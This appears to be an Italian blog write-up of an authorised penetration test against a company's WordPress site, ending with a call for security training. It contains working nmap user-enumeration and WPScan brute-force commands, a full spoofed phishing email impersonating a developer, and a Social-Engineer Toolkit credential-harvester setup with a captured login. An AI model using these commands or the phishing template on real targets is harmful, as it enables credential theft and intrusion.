Humans are the worst vulnerability – storia di un attacco di social engineering

Qualche giorno fa mi è stato chiesto di eseguire un vulnerability assessment e penetration test (VAPT) nei confronti del sito istituzionale di un’azienda. Il sito in questione è gestito attraverso WordPress, lo stesso cms che gestisce questo sito. WordPress è famoso per la sua duttilità ma (ahimè) anche per le sue insicurezze, in parte causate da un parco plugin davvero ampissimo. Fatto sta che come al solito inizio il VAPT con una fase di information gathering con la quale cerco di individuare il maggior numero possibile di informazioni sul target. Questa fase, per il cms in questione, avviene utilizzando la potentissima utility WPScan (https://wpscan.org), progetto sponsorizzato tra l’altro da SUCURI (www.sucuri.net).

La fase di information gathering restituisce informazioni davvero interessanti, come per esempio la versione utilizzata di WordPress ed i plugin installati. Da questo prima fase in ogni case rilevo poche vulnerabilità. Il sito in questione è stato sviluppato da poche settimane e la versione di WordPress è mantenuta aggiornata, come quasi tutti i plugin. Solo la parte host non mi sembra configurata al meglio, con delle permission di manica un po’ troppo larga.

Continuo il test provando a verificare se è possibile eseguire la user enumeration (sfruttando questa vulnerabilità di WordPress), per scoprire quanti e quali utenti hanno la possibilità di collegarsi alla console di amministrazione del cms. Per eseguire la user enumeration utilizzo un plugin messo a disposizione da nmap:

root@trinity:~/Documents/pentest/tools# nmap -sV --script http-wordpress-users -script-args limit=100 www.$sitovittima.xxx

Starting Nmap 7.01 ( https://nmap.org ) at 2017-05-23 17:30 CEST
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 22.80% done; ETC: 17:30 (0:00:24 remaining)
Nmap scan report for www.sitovittima.xxx (xxx.xxx.xxx.yyy)
Host is up (0.098s latency).
Not shown: 995 filtered ports
PORT     STATE  SERVICE VERSION
21/tcp   open   ftp     ProFTPD 1.3.5
80/tcp   open   http    Apache httpd
|_http-server-header: Apache
| http-wordpress-users: 
| Username found: user1
| Username found: user2
| Username found: user3
| Username found: user4
| Username found: user5
| Username found: user6
| Username found: user7
|_Search stopped at ID #100. Increase the upper limit if necessary with 'http-wordpress-users.limit'
110/tcp  closed pop3
443/tcp  open   ssl/ssl Apache httpd (SSL-only mode)
3306/tcp closed mysql
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 277.23 seconds

Bene! Con questa fase riesco ad individuare alcuni utenti (resi volutamente anonimi) che hanno accesso al cms! Passo poi ad una fase più invasiva, vale a dire il tentativo di brute forcing delle password degli utenti rilevati, utilizzando una delle tante password list scaricabili da Internet. Volutamente utilizzo una password list non troppo grande, in quanto il tempo a disposizione per effettuare il VAPT è limitato ad alcuni giorni. Chiaramente un attaccante reale, con più tempo a disposizione, potrebbe utilizzare tecniche di brute forcing più dispendiose dal punto di vista temporale, ma più redditizie dal punto di vista dei risultati. Con questa fase riesco ad individuare la password (banale, considerata la poco complessa password list utilizzata) di un utente che però si rivela di test e che mi consente l’accesso alla console di WordPress con privilegi limitati.

ruby wpscan.rb -u www.$sitovittima.xxx --threads 20 --wordlist passwords.txt --username user1
 ********* SNIP ******************
 [+] Starting the password brute forcer Brute forcing user 'user1' with $num passwords... 100% complete.
 [+] Finished at Thu Jul 18 03:39:02 2013 [+] Elapsed time: xx:xx:xx

Non trovando ulteriori vulnerabilità exploitabili ne direttamente sul core del cms ne tra i diversi plugin installati, decido di spostare l’attenzione ed i miei tentativi su quello che tante volte si rivela l’anello debole di qualsiasi sistema di sicurezza, vale a dire l’aspetto umano. Considerata la fortuna di aver trovato, durante l’enumerazione degli utenti, degli user abbastanza “parlanti”, nel senso di facilmente riconducibili a persone fisiche, decido di effettuare un attacco di phishing per cercare di recuperre le credenziali di qualche utente che abbia maggiori privilegi all’interno del cms. Nel footer dell’home page del sito web è facilmente identificabile l’azienda che ne ha curato l’implementazione del sito web e visitando il sito di quests azienda riesco a recuperare nome e cognome di uno degli sviluppatori e decido di sfruttare la sua identità come e di utilizzarla come mittente della mail di phishing.

Individuo la mia vittima nel responsabile commerciale dell’azienda che d’ora in poi sarà Mario Rossi (nome ovviamente di fantasia) ed invio la seguente mail, utilizzando un software di email spoofing:

Ciao Mario,
sono Giacomo di $aziendasviluppatrice.

Avrei fatto alcune modifiche alla console amministrativa di WordPress, per semplicare l’inserimento di nuovi contenuti.

In particolare ho attivato un plugin che attraverso un’interfaccia Ajax consente di inserire nuovi post utilizzando praticamente 4 clic in tutto. Intanto ho attivato il nuovo plugin sul sito di test, che puoi raggiungere a questa url (https://collaudo-$aziendasviluppatrice.sytes.net/users/$aziendavittima). Per l’accesso puoi utilizzare l’account user1 oppure user2 e le password sono le stesse del sito di produzione.

Fammi sapere cosa ne pensate tu ed i tuoi colleghi che poi in un secondo momento decidiamo se attivare il plugin anche in produzione.

Grazie e buona giornata!

Giacomo

Nella mail ho utilizzato volutamente un linguaggio informale e ho dato del tu alla vittima, cercando di instaurare fin da subito un rapporto di fiducia. Gli ho inoltre “suggerito” gli utenti da utilizzare per l’autenticazione, recuperati durante la precedente fase di user enumeration, facendogli così credere di essere perfettamente a conoscenza della configurazione del cms.

Il nome host collaudo-$aziendasviluppatrice.sytes.net è stato registrato attraverso il sito di dns dinamico no-ip.com, al fine di rendere la mail di phishing, ed in particolare il link sul quale far cliccare la vittima, più credibile.

Parallelamente all’invio della mail di phishing, utilizzando SET (Social Engineering Toolkit), configuro un sito clone della pagina di login del cms WordPress. Da terminale (io ho utilizzato la distribuzione Kali, ma trovate il framework SET anche su altre distribuzioni) digito:

# setoolkit

e successivamente scelgo il punto di menu 1 –> 2 –> 3 –> 2

 [-] Credential harvester will allow you to utilize the clone capabilities within SET
 [-] to harvest credentials or parameters from a website as well as place them into a report
 [-] This option is used for what IP the server will POST to.
 [-] If you're using an external IP, use your external IP for this
 set:webattack> IP address for the POST back in Harvester/Tabnabbing:$ipattaccante
 [-] SET supports both HTTP and HTTPS
 [-] Example: http://www.thisisafakesite.com
 set:webattack> Enter the url to clone:http://www.$sitovittima.xxx/wp-login.php

[*] Cloning the website: http://www.$sitovittima.xxx/wp-login.php
 [*] This could take a little bit...
 Python OpenSSL wasn't detected or PEM file not found, note that SSL compatibility will be affected.
 [*] Printing error: zipimporter() argument 1 must be string, not function

The best way to use this attack is if username and password form
 fields are available. Regardless, this captures all POSTs on a website.
 [*] The Social-Engineer Toolkit Credential Harvester Attack
 [*] Credential Harvester is running on port 80
 [*] Information will be displayed to you as it arrives below:

Dopo qualche ora dall’invio della mail il signor Mario Rossi è caduto vittima della mail di phishing ed ha inserito le credenziali di accesso alla console di amministrazione di WordPress, e le credenziali sono state registrate da SET:

xxx.xxx.xxx.yyy - - [29/May/2017 15:19:18] "GET / HTTP/1.1" 200 -
 [*] WE GOT A HIT! Printing the output:
 PARAM: log=$user
 POSSIBLE PASSWORD FIELD FOUND: pwd=xxxxxxx
 POSSIBLE USERNAME FIELD FOUND: wp-submit=Login
 PARAM: redirect_to=http://www.$sitovittima.xxx/wp-admin/
 PARAM: testcookie=1
 [*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

Con estrema fortuna, l’utente vittima della mail di phishing si è rivelato essere un utente amministratore del sito, garantendomi così pieno accesso ad ogni funzionalità del cms.

Il risultato di questo attacco e la facilità con la quale è stato organizzato ed ha avuto successo, ci fa capire una volta in più quanto sia necessario investire in formazione sul tema della information security, soprattutto sui target più sensibili di un’organizzazione.

Be Sociable, Share!

Potrebbero interessarti anche...

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *